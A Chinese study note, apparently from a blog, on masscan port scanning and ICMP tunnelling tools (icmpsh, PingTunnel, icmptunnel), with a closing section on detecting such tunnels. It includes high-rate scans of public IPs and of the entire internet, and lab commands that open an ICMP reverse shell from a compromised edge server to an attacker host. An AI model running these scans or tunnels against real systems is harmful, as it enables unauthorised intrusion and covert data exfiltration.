8月15日笔记

masscan安装使用

首先需要有c编译器环境。查看是否有c编译器环境:

复制代码
gcc -v

如果系统中已经安装了 GCC,这个命令将输出 GCC 的版本信息。如果未安装,你会看到类似于 "command not found" 的错误消息。

如果没有下载,使用如下命令:

复制代码
sudo apt-get --assume-yes install git make gcc

masscan下载

复制代码
git clone https://github.com/robertdavidgraham/masscan

文件会下载到你打开命令行显示的路径下。

复制代码
cd masscan  #第一步
make  #第二步

执行之后会在masscan/bin下生成一个可执行文件。

执行命令:

复制代码
make install

安装完成。

用法

扫描某IP的部分端口

复制代码
masscan 183.2.172.185 -p 0-400          #扫描指定IP下的0-400端口

高速扫描某ip下的端口

复制代码
masscan -p 1-2000 125.217.52.215 --max-rate 100000  #扫描整个子网下1-2000端口
复制代码
masscan 125.217.52.215 --top-ports 100 > result.txt       #扫描结果另存为result.txt文件

扫描整个互联网😅

复制代码
masscan 0.0.0.0/0 -p0-65535 --max-rate 100000		//扫描整个互联网

只有ICMP协议出网场景

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求.

在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道。

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh工具安装使用

icmpsh工具使用简单,便于"携带"(跨平台),运行时不需要管理员权限。下载命令。

复制代码
git clone https://github.com/inquisb/icmpsh.git

攻击机和边缘服务器(被攻击者获取shell)都要安装。

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

复制代码
sysctl -w net.ipv4.icmp_echo_ignore_all=1

查看如何使用,根据脚本使用方法在终端执行以下命令:

复制代码
python2 icmpsh_m.py 192.168.5.128 192.168.5.138

发现需要impacket安装包。使用命令

复制代码
apt-get install python-impacket

发现找不到包。直接到github上找到源代码自己安装。

复制代码
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python2 setup.py install
命令全部执行完之后可以把git下来的文件删掉了。

之后在边缘web服务器上执行以下命令:

复制代码
icmpsh.exe -t 192.168.5.128


现在我们可以在攻击者的主机看到目标主机的shell。有点乱码,使用命令chcp 65001

PingTunnel的安装使用

经过浏览了数篇文章,发现icmpsh还是有些不足。第一,不能跨平台,其客户端只有icmpsh.exe针对windows的二进制文件,遇到靶机是*inux环境无法使用。第二,icmpsh本质上还不是一个隧道,只是一个反弹shell。第三,icmpsh没有密码认证机制,shell很可能被盗用。

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。
libpcap 是一个跨平台的 C 语言库,用于捕获和分析网络数据包。

安装libpcap的依赖环境

复制代码
apt-get install byacc
apt-get install flex bison

安装libpcap依赖库

复制代码
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

安装PingTunnel

复制代码
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

但是由于环境限制,我这里无法进行复现,那个pingtunnel环境是攻击机(kali)和边缘服务器(linux类型的)都要安装的。我这里只有windows边缘服务器😭。(暂停,以后有机会再搞)

icmptunnel安装使用

icmptunnelicmpsh 都是基于 ICMP 协议的隧道工具,但它们在功能上有所不同:icmptunnel 更侧重于提供一个稳定的、加密的双向数据传输隧道,支持多种加密方式,适用于长时间稳定连接的需求,如远程桌面或文件传输;而 icmpsh 则更偏向于提供一个交互式的 shell 环境,主要用于命令执行和简单文件传输。

首先去github下载项目:https://github.com/T3rry7f/ICMPTunnel

之后在拿到权限的边界服务器端禁用icmp回复:

复制代码
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

之后执行IcmpTunnel.py脚本:

复制代码
python IcmpTunnel_S.py

之后再攻击主机执行以下命令:

复制代码
python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

复制代码
rdesktop 192.168.5.128:44171

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量。

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意哪些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加"TUNL"标记来标识隧道------这就是特征。
相关推荐
s_little_monster30 分钟前
【Linux】进程信号的捕捉处理
linux·运维·服务器·经验分享·笔记·学习·学习方法
RedMery1 小时前
论文阅读笔记:Denoising Diffusion Implicit Models (4)
论文阅读·笔记
go_bai2 小时前
Linux环境基础开发工具——(2)vim
linux·开发语言·经验分享·笔记·vim·学习方法
吴梓穆2 小时前
UE5学习笔记 FPS游戏制作35 使用.csv配置文件
笔记·学习·ue5
100分题库小程序2 小时前
2025年机动车授权签字人考试判断题分享
经验分享·笔记
V---scwantop---信2 小时前
失真扭曲斑点效果ps标题文本特效滤镜样机 Color Blob Distort Text & Logo Effect
笔记
nuo5342023 小时前
黑马 C++ 学习笔记
c语言·c++·笔记·学习
阿噜噜小栈4 小时前
最新国内可用的Docker镜像加速器地址收集
运维·笔记·docker·容器
zhuyixiangyyds12 小时前
day21和day22学习Pandas库
笔记·学习·pandas
jingjingjing111113 小时前
笔记:docker安装(ubuntu 20.04)
笔记·docker·容器